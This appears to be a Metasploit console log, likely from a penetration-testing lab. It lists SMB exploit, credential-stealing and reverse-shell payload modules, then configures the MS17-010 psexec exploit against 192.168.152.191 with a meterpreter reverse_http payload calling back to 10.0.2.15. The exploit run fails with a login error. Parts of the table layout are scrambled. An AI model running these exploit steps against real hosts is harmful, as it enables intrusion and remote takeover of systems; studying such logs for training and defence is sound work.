24 auxiliary/fileformat/odt_badodt	2018-0	5-01	normal		No	LibreO	ffice 6.	03 /Apache OpenOffice 4.1.5
Malicious ODT File Generator								
25 post/linux/gather/mount_cifs_creds			normal		No	Linux (Gather	Saved mount.cifs/mount.smbfs
Credentials								
26 exploit/windows/smb/ms03_049_netapi		2003-1	1-11	good	No	MS03-	049 Mi	crosoft Workstation Service
NetAddAlternateComputerName Overflow								
27 exploit/windows/smb/ms04_007_killbill		2004-0	2-10	low	No	MS04-	007 Mi	crosoft ASN.1 Library Bitstring
Heap Overflow								
28 exploit/windows/smb/ms04_011_lsass		2004-0)4-13	good	No	MS04-	011 Mi	crosoft LSASS Service
DsRolerUpgradeDownlevelServer Overflow								
29 exploit/windows/smb/ms04_031_netdde		2004-1		good	No			crosoft NetDDE Service Overflow
30 exploit/windows/smb/ms05_039_pnp		2005-0	8-09	good	Yes	MS05-	039 Mi	crosoft Plug and Play Service
Overflow								
31 exploit/windows/smb/ms06_025_rras		2006-0	06-13	averag	je	No	MS06	-025 Microsoft RRAS Service
Overflow								
32 exploit/windows/smb/ms06_025_rasmans_reg			2006-0	6-13	good	No	MS06	-025 Microsoft RRAS Service
RASMAN Registry Overflow								

33 exploit/windows/smb/ms06_040_netapi NetpwPathCanonicalize Overflow	2006-08-08	good	No	MS06	-040 M	icrosoft Server Service
34 exploit/windows/smb/ms06_066_nwapi	2006-11-14	good	No	MS06-	-066 M	icrosoft Services nwapi32.dll
Module Exploit		9000				
35 exploit/windows/smb/ms06_066_nwwks	2006-11-14	good	No	MS06	-066 M	icrosoft Services nwwks.dll
Module Exploit						
36 exploit/windows/smb/ms06_070_wkssvc	2006-11-14	manua	al	No	MS06	6-070 Microsoft Workstation
Service NetpManageIPCConnect Overflow						
37 exploit/windows/smb/ms07_029_msdns_zonename	2007-	04-12	manua	al	No	MS07-029 Microsoft DNS RPC
Service extractQuotedChar() Overflow (SMB)						
38 exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08	-067 M	icrosoft Server Service Relative
Path Stack Corruption						
39 exploit/windows/smb/smb_relay	2001-03-31	excelle	ent No	MS08	-068 M	icrosoft Windows SMB Relay
Code Execution						
40 exploit/windows/smb/ms09_050_smb2_negotiate_func_ind	ex 2009-	09-07	good	No	MS09	9-050 Microsoft SRV2.SYS SMB
Negotiate ProcessID Function Table Dereference						
41 exploit/windows/browser/ms10_022_ie_vbscript_winhlp32	2010-	02-26	great	No	MS10	0-022 Microsoft Internet Explorer
Winhlp32.exe MsgBox Code Execution	0010 00 11					
42 exploit/windows/smb/ms10_061_spoolss	2010-09-14	excelle	ent No	MS10-	-061 M	icrosoft Print Spooler Service
Impersonation Vulnerability	0040 00 40			N4040	074.14	· (1) A/: 1 TI F:1
43 exploit/windows/fileformat/ms13_071_theme	2013-09-10	excelle	ent No	MS13-	-071 IVI	icrosoft Windows Theme File
Handling Arbitrary Code Execution	2014	10 11	oveelle	ant Na	MOAA	LOGO Microsoft Windows OLF
44 exploit/windows/fileformat/ms14_060_sandworm	2014-	10-14	excelle	ent ino	IVIS 14	I-060 Microsoft Windows OLE
Package Manager Code Execution 45 exploit/windows/smb/ms17_010_eternalblue	2017-03-14	overed	20	Yes	N/C17	'-010 EternalBlue SMB Remote
Windows Kernel Pool Corruption	2017-03-14	averag	Je	168	IVISTI	-010 Eternalblue SIMB Remote
46 exploit/windows/smb/ms17_010_psexec	2017-03-14	norma	al.	Yes	MS17	7.010
EternalRomance/EternalSynergy/EternalChampion SMB Remote				163	IVIOI7	-010
47 auxiliary/admin/smb/ms17_010_command	2017-03-14	norma		No	MS17	·-010
EternalRomance/EternalSynergy/EternalChampion SMB Remote					1410 17	
48 auxiliary/scanner/smb/smb_ms17_010	norma		No		-010 SI	MB RCE Detection
10 daxiiidi yioodiiii oii oii oii oii oii oii oii oii	11011116	۸.	. 10		0.00	THE POLOGICAL

4	9 auxiliary/dos/windows/smb/ms05_047_pnp		norma	I	No	Micros	soft Plug and Play Service
Re	gistry Overflow						
5	0 auxiliary/dos/windows/smb/rras_vls_null_deref	2006-06	-14 norma	l	No	Micros	soft RRAS
Inte	erfaceAdjustVLSPointers NULL Dereference						
5	1 auxiliary/admin/mssql/mssql_ntlm_stealer	n	ormal	No	Micros	oft SQI	L Server NTLM Stealer
5	2 auxiliary/admin/mssql/mssql_ntlm_stealer_sqli		norma	l	No	Micros	soft SQL Server SQLi NTLM
Ste	aler						
5	3 auxiliary/admin/mssql/mssql_enum_domain_accounts	s_sqli		normal		No	Microsoft SQL Server SQLi
SU	SER_SNAME Windows Domain Account Enumeration						
5	4 auxiliary/admin/mssql/mssql_enum_domain_accounts	3	norma	l	No	Micros	soft SQL Server SUSER_SNAME
Wir	ndows Domain Account Enumeration						
5	5 auxiliary/dos/windows/smb/ms06_035_mailslot	2006-07	-11 norma	l	No	Micros	soft SRV.SYS Mailslot Write
Co	ruption						
5	6 auxiliary/dos/windows/smb/ms06_063_trans		norma	l	No	Micros	soft SRV.SYS Pipe Transaction
No	Null						
5	7 auxiliary/dos/windows/smb/ms09_001_write		norma	l	No	Micros	soft SRV.SYS WriteAndX Invalid
Da	aOffset						
5	8 auxiliary/dos/windows/smb/ms09_050_smb2_negotia	te_pidhigh		normal		No	Microsoft SRV2.SYS SMB
Ne	gotiate ProcessID Function Table Dereference						
	9 auxiliary/dos/windows/smb/ms09_050_smb2_session	_logoff		normal		No	Microsoft SRV2.SYS SMB2
Log	off Remote Kernel NULL Pointer Dereference						
	0 auxiliary/dos/windows/smb/vista_negotiate_stop		norma	l	No	Micros	soft Vista SP0 SMB Negotiate
Pro	tocol DoS						
	1 auxiliary/dos/windows/smb/ms10_006_negotiate_resp	oonse_loop		normal		No	Microsoft Windows 7 / Server
	08 R2 SMB Client Infinite Loop						
	2 auxiliary/scanner/smb/psexec_loggedin_users		norma	l	No	Micros	soft Windows Authenticated
	ged In Users Enumeration						
	•	1999-01-01 n	nanual	No	Micros	oft Win	ndows Authenticated User Code
	ecution						
6	4 auxiliary/dos/windows/smb/ms11_019_electbowser		norma	l	No	Micros	soft Windows Browser Pool DoS

	exploit/windows/smb/smb_rras_erraticgopher	2017	-06-13	averag	je	Yes	Micros	oft Windows RRAS Service
	ntryGet Overflow							
	exploit/windows/smb/smb_shadow	2021	-02-16	manua	ıl	No	Micros	oft Windows SMB Direct Session
Takeo								
	auxiliary/dos/windows/smb/ms10_054_queryfs_pool_	_overflow			normal		No	Microsoft Windows SRV.SYS
	nbQueryFsInformation Pool Overflow DoS							
	exploit/windows/smb/ms10_046_shortcut_icon_dllloa	ader	2010-	07-16	excelle	nt No	Micros	oft Windows Shell LNK Code
Execu	ıtion							
	exploit/windows/smb/ms15_020_shortcut_icon_dllloa	ader	2015-	03-10	excelle	nt No	Micros	oft Windows Shell LNK Code
Execu	ıtion							
70	auxiliary/docx/word_unc_injector		norma	ıl	No	Micros	oft Word	d UNC Path Injector
71	auxiliary/spoof/nbns/nbns_response		norma	ıl	No	NetBIC	OS Nam	e Service Spoofer
72	exploit/windows/smb/netidentity_xtierrpcpipe	2009	-04-06	great	No	Novell	NetIder	ntity Agent XTIERRPCPIPE
Name	d Pipe Buffer Overflow							
73	exploit/netware/smb/lsass_cifs	2007-01-21	averaç	ge	No	Novell	NetWar	e LSASS CIFS.NLM Driver
Stack	Buffer Overflow							
74	exploit/windows/oracle/extjob	2007-01-01	excelle	ent Yes	Oracle	Job Sc	heduler	Named Pipe Command
Execu	ution							
75	auxiliary/admin/oracle/ora_ntlm_stealer	2009	-04-07	normal		No	Oracle	SMB Relay Code Execution
76	auxiliary/scanner/dcerpc/petitpotam		norma	ıl	No	PetitPo	otam	
77	payload/cmd/windows/powershell/x64/custom/revers	e_named_pi	ре		normal		No	Powershell Exec, Windows
shellc	ode stage, Windows x64 Reverse Named Pipe (SMB) Stager						
78	payload/cmd/windows/powershell/custom/reverse_na	amed_pipe			normal		No	Powershell Exec, Windows
shellc	ode stage, Windows x86 Reverse Named Pipe (SMB) Stager						
79	payload/cmd/windows/powershell/x64/meterpreter/re	verse_name	d_pipe		normal		No	Powershell Exec, Windows x64
Rever	se Named Pipe (SMB) Stager							
80	payload/cmd/windows/powershell/x64/peinject/revers	se_named_p	ipe		normal		No	Powershell Exec, Windows x64
Rever	se Named Pipe (SMB) Stager							
81	payload/cmd/windows/powershell/meterpreter/revers	e_named_pi	ре		normal		No	Powershell Exec, Windows x86
Rever	se Named Pipe (SMB) Stager							

82 payload/cmd/windows/powershell/peinject/reverse_named_	_pipe		normal		No	Powershell Exec, Windows x86	
Reverse Named Pipe (SMB) Stager		•	N.I	D- E	NTD	O distance OVOTEMALIS	
83 auxiliary/admin/smb/psexec_ntdsgrab	norma		No	PSEX	еситр	S.dit And SYSTEM Hive	
Download Utility	10 G W 100 G	i	Na	CAD		New Abuse	
84 auxiliary/scanner/sap/sap_smb_relay	norma		No			elay Abuse	
85 auxiliary/dos/sap/sap_soap_rfc_eps_delete_file Deletion		normal		No	SAP	SOAP EPS_DELETE_FILE File	
86 auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_list	ina	normal		No	SVD	SOAP RFC	
EPS_GET_DIRECTORY_LISTING Directories Information Disclo	•	Homai		NO	SAF	SOAF RIC	
87 auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_exis			normal		No	SAP SOAP RFC	
PFL CHECK OS FILE EXISTENCE File Existence Check	Sterioe		Hormai		140	OAI OOAI NI O	
88 auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir		normal		No	SAP S	SOAP RFC	
RZL_READ_DIR_LOCAL Directory Contents Listing					0,	50/ II	
89 auxiliary/fuzzers/smb/smb_create_pipe_corrupt		normal		No	SMB	Create Pipe Request Corruption	
90 auxiliary/fuzzers/smb/smb_create_pipe	norma		No			Pipe Request Fuzzer	
91 exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes			.EPULSAR Remote Code	
Execution		Ü					
92 exploit/windows/smb/smb_delivery	2016-07-26	excelle	nt No	SMB	Delivery	/	
93 auxiliary/admin/smb/list_directory	norma		No	SMB	Director	ry Listing Utility	
94 auxiliary/scanner/smb/smb_enumusers_domain		normal		No	SMB	Domain User Enumeration	
95 auxiliary/admin/smb/delete_file	norma	l	No	SMB	File Del	ete Utility	
96 auxiliary/admin/smb/download_file	norma		No	SMB	File Do	wnload Utility	
97 auxiliary/admin/smb/upload_file	norma		No	SMB	File Upl	oad Utility	
98 auxiliary/scanner/smb/smb_enum_gpp	norma		No	SMB	Group F	Policy Preference Saved	
Passwords Enumeration							
99 auxiliary/scanner/smb/smb_login	norma		No	SMB	•	heck Scanner	
100 auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt		normal		No	SMB	NTLMv1 Login Request	
Corruption							
101 auxiliary/fuzzers/smb/smb_negotiate_corrupt		normal		No		Negotiate Dialect Corruption	
102 auxiliary/fuzzers/smb/smb2_negotiate_corrupt		normal		No	SMB	Negotiate SMB2 Dialect	
Corruption							

103 auxiliary/scanner/smb/smb_lookupsid 104 auxiliary/admin/smb/check_dir_file 105 auxiliary/scanner/smb/pipe_auditor 106 auxiliary/scanner/smb/pipe_dcerpc_auditor 107 auxiliary/scanner/smb/smb_enumshares 108 auxiliary/fuzzers/smb/smb_tree_connect_corrupt		normal normal normal norm norm	al	SMB	SID User Enumeration (LookupSid) Scanner Check File/Directory Utility Session Pipe Auditor SMB Session Pipe DCERPC Auditor SMB Share Enumeration SMB Tree Connect Request Corruption
109 auxiliary/fuzzers/smb/smb_tree_connect		normal	No		Tree Connect Request Fuzzer
110 auxiliary/scanner/smb/smb_enumusers		norm	al	No	SMB User Enumeration (SAM
EnumUsers)			NI-	OMB	Marrian Datastian
111 auxiliary/scanner/smb/smb_version	0047.00.00	normal	No		Version Detection
112 auxiliary/dos/smb/smb_loris	2017-06-29	normal	No		SLoris NBSS Denial of Service
113 exploit/windows/local/cve_2020_0796_smbghost		2020-03-13	good	Yes	SMBv3 Compression Buffer Overflow
114 exploit/windows/smb/cve_2020_0796_smbghost Overflow		2020-03-13	averaç	ge	Yes SMBv3 Compression Buffer
		12 O 17 12 O	a l	Nia	SNMP Windows SMB Share
115 auxiliary/scanner/snmp/snmp_enumshares Enumeration		norm	aı	No	SINIVIP WITHOUS SIVID SHALE
		norm	ol.	No	Samba Symlink Directory Trayoreal
116 auxiliary/admin/smb/samba_symlink_traversal117 auxiliary/scanner/smb/smb_uninit_cred		norm normal	Yes		Samba Symlink Directory Traversal ba _netr_ServerPasswordSet Uninitialized
Credential State		Hormai	163	Jania	ba _neti_Serven asswordSet Onimitalized
118 exploit/linux/samba/chain_reply	2010-06-16	good No	Samb	a chain	n_reply Memory Corruption (Linux x86)
119 auxiliary/dos/samba/read_nttrans_ea_list	2010 00 10	normal	No		ba read_nttrans_ea_list Integer Overflow
120 exploit/multi/ids/snort_dce_rpc	2007-02-19	good No			E/RPC Preprocessor Buffer Overflow
121 exploit/windows/browser/java_ws_double_quote	2007 02 10	2012-10-16			o Sun Java Web Start Double Quote
Injection		2012 10 10	OXOON	3110 110	o dan dava 1105 dian Boable Quoto
122 exploit/windows/browser/java_ws_arginject_altjvm	2010-0	04-09 excel	lent No	Sun J	Java Web Start Plugin Command Line
Argument Injection					
123 exploit/windows/browser/java_ws_vmargs	2012-0	02-14 excel	lent No	Sun J	Java Web Start Plugin Command Line
Argument Injection					3
124 payload/cmd/windows/tftp/x64/custom/reverse_nar	ned_pipe		norma	l	No TFTP Fetch, Windows
shellcode stage, Windows x64 Reverse Named Pipe (SM	_ -				*
	-				

125 payload/cmd/windows/tftp/x64/meterpreter/reverse_named	d_pipe		norma	al	No	TFTP Fetch, Windows x64	
Reverse Named Pipe (SMB) Stager						TETD 5 () W" 04	
126 payload/cmd/windows/tftp/x64/peinject/reverse_named_pi	pe		norma	ll .	No	TFTP Fetch, Windows x64	
Reverse Named Pipe (SMB) Stager			.1	N.1 -	T	Viscos I la sociata d I IDI I la cida a	
127 auxiliary/server/teamviewer_uri_smb_redirect		norma	11	No	ream	Viewer Unquoted URI Handler	
SMB Redirect	2009-	06.25	aroot	No	Timbu	uktu DiughNTCommand Namad	
128 exploit/windows/smb/timbuktu_plughntcommand_bof Pipe Buffer Overflow	2009-	00-25	great	No	TITIDL	uktu PlughNTCommand Named	
129 exploit/windows/fileformat/ursoft_w32dasm	2005-01-24	good	No	LIDSo	ft \\/\20[Dasm Disassembler Function	
Buffer Overflow	2005-01-24	good	INO	UKSU	11 77321	Dasin Disassembler Function	
130 exploit/windows/fileformat/vlc_smb_uri	2009-06-24	great	No	Videol	AN CI	ient (VLC) Win32 smb:// URI	
Buffer Overflow	2009-00-24	great	INO	Videoi		ient (VEC) Willoz Silib.// Olvi	
131 auxiliary/scanner/smb/impacket/wmiexec	2018-03-19	norma	al	No	WMI E	Exec	
132 auxiliary/admin/smb/webexec_command	2010 00 10	norma		No		Ex Remote Command Execution	1
Utility		11011110	••	110	******	za remote commune Execution	
133 exploit/windows/smb/webexec	2018-10-24	manua	al	No	WebE	Exec Authenticated User Code	
Execution							
134 post/windows/escalate/droplnk	norma	al	No	Windo	ws Esc	calate SMB Icon LNK Dropper	
135 post/windows/gather/credentials/gpp	norma	al	No	Windo	ws Gat	ther Group Policy Preference	
Saved Passwords						•	
136 post/windows/gather/word_unc_injector	norma	al	No	Windo	ws Gat	ther Microsoft Office Word UNC	
Path Injector							
137 post/windows/gather/enum_shares	norma	al	No	Windo	ws Gat	ther SMB Share Enumeration vi	а
Registry							
138 payload/windows/peinject/reverse_named_pipe		norma	al	No	Windo	ows Inject PE Files, Windows x8	36
Reverse Named Pipe (SMB) Stager							
139 payload/windows/x64/peinject/reverse_named_pipe		norma	al	No	Windo	ows Inject Reflective PE Files,	
Windows x64 Reverse Named Pipe (SMB) Stager							
140 payload/windows/x64/meterpreter/reverse_named_pipe		norma	al	No	Windo	ows Meterpreter (Reflective	
Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager							

141 payload/windows/meterpreter/reverse_named_pipe		normal	No	Windows Meterpreter (Reflective
Injection), Windows x86 Reverse Named Pipe (SMB) Stager				
142 post/windows/gather/netlm_downgrade		normal	No	Windows NetLM Downgrade Attack
143 auxiliary/fileformat/multidrop	normal	No Wind	dows SME	3 Multi Dropper
144 payload/windows/x64/custom/reverse_named_pipe		normal	No	Windows shellcode stage, Windows
x64 Reverse Named Pipe (SMB) Stager				
145 payload/windows/custom/reverse_named_pipe		normal	No	Windows shellcode stage, Windows
x86 Reverse Named Pipe (SMB) Stager				

Interact with a module by name or index. For example info 145, use 145 or use payload/windows/custom/reverse_named_pipe

msf6	auxiliary(scanner/smb/smb_	_ms17_	_010) >	grep	exploit	search smb
^	1.207. 1070.00 1.1.1.1.					0044.00

0	exploit/multi/http/struts_code_exec_classloader	2014-03-06	manual	No	Apache Struts ClassLoader
Manip	oulation Remote Code Execution				
1	exploit/osx/browser/safari_file_policy	2011-10-12	normal	No	Apple Safari file:// Arbitrary Code
Execu	ution				
4	exploit/linux/misc/cisco_rv340_sslvpn	2022-02-02	good Yes	Cisco	RV340 SSL VPN Unauthenticated
Remo	te Code Execution				
9	exploit/windows/scada/ge_proficy_cimplicity_gefebt	2014-	01-23 excel	lent Yes	GE Proficy CIMPLICITY gefebt.exe
Remo	te Code Execution				
10	exploit/windows/smb/generic_smb_dll_injection	2015-03-04	manual	No	Generic DLL Injection From Shared
Resou	urce				
11	exploit/windows/http/generic_http_dll_injection	2015-03-04	manual	No	Generic Web Application DLL Injection
12	exploit/windows/smb/group_policy_startup	2015-01-26	manual	No	Group Policy Script Execution From
Share	d Resource				
13	exploit/windows/misc/hp_dataprotector_install_service	2011-	11-02 excel	lent Yes	S HP Data Protector 6.10/6.11/6.20 Install
Servic	ce				
14	exploit/windows/misc/hp_dataprotector_cmd_exec	2014-	11-02 excel	lent Yes	s HP Data Protector 8.10 Remote
Comn	nand Execution				

22 exploit/windows/smb/ipass_pipe_exec	2015-01-21	excelle	ent Yes	IPass (Control Pipe Remote Command
Execution					
26 exploit/windows/smb/ms03_049_netapi	2003-11-11	good	No	MS03-	049 Microsoft Workstation Service
NetAddAlternateComputerName Overflow					
27 exploit/windows/smb/ms04_007_killbill	2004-02-10	low	No	MS04-	007 Microsoft ASN.1 Library Bitstring
Heap Overflow					
28 exploit/windows/smb/ms04_011_lsass	2004-04-13	good	No	MS04-	011 Microsoft LSASS Service
DsRolerUpgradeDownlevelServer Overflow					
29 exploit/windows/smb/ms04_031_netdde	2004-10-12	good	No	MS04-	031 Microsoft NetDDE Service Overflow
30 exploit/windows/smb/ms05_039_pnp	2005-08-09	good	Yes	MS05-	039 Microsoft Plug and Play Service
Overflow					
31 exploit/windows/smb/ms06_025_rras	2006-06-13	averag	je	No	MS06-025 Microsoft RRAS Service
Overflow					
32 exploit/windows/smb/ms06_025_rasmans_reg	2006-0	06-13	good	No	MS06-025 Microsoft RRAS Service
RASMAN Registry Overflow					
33 exploit/windows/smb/ms06_040_netapi	2006-08-08	good	No	MS06-	040 Microsoft Server Service
NetpwPathCanonicalize Overflow					
34 exploit/windows/smb/ms06_066_nwapi	2006-11-14	good	No	MS06-	066 Microsoft Services nwapi32.dll
Module Exploit					
35 exploit/windows/smb/ms06_066_nwwks	2006-11-14	good	No	MS06-	066 Microsoft Services nwwks.dll
Module Exploit					
36 exploit/windows/smb/ms06_070_wkssvc	2006-11-14	manua	ıl	No	MS06-070 Microsoft Workstation
Service NetpManageIPCConnect Overflow					
37 exploit/windows/smb/ms07_029_msdns_zonename	2007-0)4-12	manua	I	No MS07-029 Microsoft DNS RPC
Service extractQuotedChar() Overflow (SMB)					
38 exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-	067 Microsoft Server Service Relative
Path Stack Corruption					
39 exploit/windows/smb/smb_relay	2001-03-31	excelle	ent No	MS08-	068 Microsoft Windows SMB Relay
Code Execution					
40 exploit/windows/smb/ms09_050_smb2_negotiate_func_ind	ex 2009-0	9-07	good	No	MS09-050 Microsoft SRV2.SYS SMB
Negotiate ProcessID Function Table Dereference					

41 exploit/windows/browser/ms10_022_ie_vbscript_wir Winhlp32.exe MsgBox Code Execution	nhlp32	2010-	02-26	great	No	MS10-022 Microsoft Internet Explorer
42 exploit/windows/smb/ms10_061_spoolss	2010	-09-14	excelle	ent No	MS10-	061 Microsoft Print Spooler Service
Impersonation Vulnerability						
43 exploit/windows/fileformat/ms13_071_theme	2013	-09-10	excelle	ent No	MS13-	071 Microsoft Windows Theme File
Handling Arbitrary Code Execution						
44 exploit/windows/fileformat/ms14_060_sandworm		2014-	10-14	excelle	ent No	MS14-060 Microsoft Windows OLE
Package Manager Code Execution						
45 exploit/windows/smb/ms17_010_eternalblue	2017	-03-14	averag	ge	Yes	MS17-010 EternalBlue SMB Remote
Windows Kernel Pool Corruption						
46 exploit/windows/smb/ms17_010_psexec		-03-14	norma		Yes	MS17-010
EternalRomance/EternalSynergy/EternalChampion SMB F	Remote Windo	ows Code	e Execu	tion		
63 exploit/windows/smb/psexec	1999-01-01	manua	al	No	Micros	oft Windows Authenticated User Code
Execution						
65 exploit/windows/smb/smb_rras_erraticgopher	2017	-06-13	averag	ge	Yes	Microsoft Windows RRAS Service
MIBEntryGet Overflow						
66 exploit/windows/smb/smb_shadow	2021	-02-16	manua	al	No	Microsoft Windows SMB Direct Session
Takeover						
68 exploit/windows/smb/ms10_046_shortcut_icon_dlllo	ader	2010-	07-16	excelle	ent No	Microsoft Windows Shell LNK Code
Execution						
69 exploit/windows/smb/ms15_020_shortcut_icon_dlllo	ader	2015-	03-10	excelle	ent No	Microsoft Windows Shell LNK Code
Execution						
72 exploit/windows/smb/netidentity_xtierrpcpipe	2009	-04-06	great	No	Novell	NetIdentity Agent XTIERRPCPIPE
Named Pipe Buffer Overflow						
73 exploit/netware/smb/lsass_cifs	2007-01-21	avera	ge	No	Novell	NetWare LSASS CIFS.NLM Driver
Stack Buffer Overflow						
74 exploit/windows/oracle/extjob	2007-01-01	excelle	ent Yes	Oracle	Job Sc	cheduler Named Pipe Command
Execution	20.4				01.45	
91 exploit/windows/smb/smb_doublepulsar_rce	2017	-04-14	great	Yes	SMB L	OOUBLEPULSAR Remote Code
Execution	00.10	07.00			0140.5	N 12
92 exploit/windows/smb/smb_delivery	2016	-07-26	excelle	ent No	SMR L	pelivery

113 exp	bloit/windows/local/cve_2020_0796_smbghost		2020-	03-13	good	Yes	SMBv	3 Compression I	Buffer Overflow
114 ex	ploit/windows/smb/cve_2020_0796_smbghost		2020-	03-13	averag	ge	Yes	SMBv3 Compr	ession Buffer
Overflow									
118 exp	ploit/linux/samba/chain_reply	2010-06-16	good	No	Samba	a chain_	_reply N	Memory Corruption	on (Linux x86)
120 ex	ploit/multi/ids/snort_dce_rpc	2007-02-19	good	No	Snort 2	2 DCE/I	RPC Pi	eprocessor Buffe	er Overflow
121 ex	ploit/windows/browser/java_ws_double_quote		2012-	10-16	excelle	ent No	Sun J	ava Web Start D	ouble Quote
Injection									
122 ex	oloit/windows/browser/java_ws_arginject_altjvm	2010	-04-09	excelle	ent No	Sun Ja	ava We	b Start Plugin Co	ommand Line
Argument	Injection								
123 ex	ploit/windows/browser/java_ws_vmargs	2012	-02-14	excelle	ent No	Sun Ja	ava We	b Start Plugin Co	ommand Line
Argument	Injection								
128 ex	ploit/windows/smb/timbuktu_plughntcommand_b	of	2009-	06-25	great	No	Timbu	ıktu PlughNTCor	nmand Named
Pipe Buffe	er Overflow								
129 ex	ploit/windows/fileformat/ursoft_w32dasm	2005	-01-24	good	No	URSo	ft W32[Dasm Disassemb	oler Function
Buffer Ov	erflow								
130 ex	ploit/windows/fileformat/vlc_smb_uri	2009	-06-24	great	No	Videol	_AN Cli	ent (VLC) Win32	2 smb:// URI
Buffer Ov	erflow								
133 ex	ploit/windows/smb/webexec	2018	-10-24	manua	al	No	WebE	xec Authenticate	ed User Code
Execution									
msf6 auxi	liary(scanner/smb/smb_ms17_010) > use explo	it/windows/s	mb/ms1	7_010_	psexec				
[*] No pay	load configured, defaulting to windows/meterpre	ter/reverse_to	р						
msf6 expl	oit(windows/smb/ms17_010_psexec) > show or	otions	-						
	· · · · · · · · · · · · · · · · · · ·								

Module options (exploit/windows/smb/ms17_010_psexec):

Name	Curre	nt Setting	Req	uired Description	
DBGTRACE	false		yes	Show extra debug trace info	
LEAKATTEMPTS		99		yes How many times to try to leak transaction	
NAMEDPIPE			no	A named pipe that can be connected to (leave blank for auto)	
NAMED_PIPES		/usr/share/metasploit-framework/data	a/wor	dlists/named_pipes.txt yes	

RHOSTS yes The target host(s), see

https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 445 yes The Target port (TCP)

SERVICE_DESCRIPTION no Service description to be used on target for pretty listing

SERVICE_DISPLAY_NAME no The service display name

SERVICE_NAME no The service name

SHARE ADMIN\$ yes The share to connect to, can be an admin share (ADMIN\$,C\$,...) or a

normal read/write folder share

SMBDomain . no The Windows domain to use for authentication

SMBPass no The password for the specified username

SMBUser no The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: ", seh, thread, process, none)

LHOST 10.0.2.15 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic

View the full module info with the info, or info -d command.

```
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.152.191
RHOSTS => 192.168.152.191
msf6 exploit(windows/smb/ms17_010_psexec) > set payload
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set payload
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) >
msf6 exploit(windows/smb/ms17_010_psexec) >
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(windows/smb/ms17_010_psexec) > show options
```

Module options (exploit/windows/smb/ms17_010_psexec):

Name	Current Setting	Required Description			
DBGTRACE	false	yes	Show extra debug trace info		
LEAKATTEMPTS	99		yes How many times to try to leak transaction		
NAMEDPIPE		no	A named pipe that can be connected to (leave blank for auto)		
NAMED_PIPES	/usr/share/metasploit-framework	rk/data/wor	dlists/named_pipes.txt yes List of named pipes to check		
RHOSTS	192.168.152.191		yes The target host(s), see		
https://docs.metasple	oit.com/docs/using-metasploit/basics/usi	ng-metaspl	loit.html		
RPORT	445	yes	The Target port (TCP)		
SERVICE_DESCR	RIPTION		no Service description to be used on target for pretty listing		
SERVICE_DISPLA	AY_NAME		no The service display name		
SERVICE_NAME		no	The service name		
SHARE	ADMIN\$	yes	The share to connect to, can be an admin share (ADMIN\$,C\$,) or a		
normal read/write fol	der share				
SMBDomain		no	The Windows domain to use for authentication		
SMBPass	n	o The ¡	password for the specified username		

Payload options (windows/meterpreter/reverse_http):

Name	Current Settir	ng Req	uired Description
EXITFUNC	thread	ves	Exit technique (Accepted: ", seh, thread, process, none)
LHOST	10.0.2.15	,	The local listener hostname
		yes	
LPORT	8080	yes	The local listener port
LURI	no	The H	TTP Path

no

Exploit target:

Id Name

-- ----

0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_psexec) > exploit

- [*] Started HTTP reverse handler on http://10.0.2.15:8080
- [-] 192.168.152.191:445 Rex::Proto::SMB::Exceptions::LoginError: Login Failed: Connection reset by peer
- [*] Exploit completed, but no session was created. msf6 exploit(windows/smb/ms17_010_psexec) >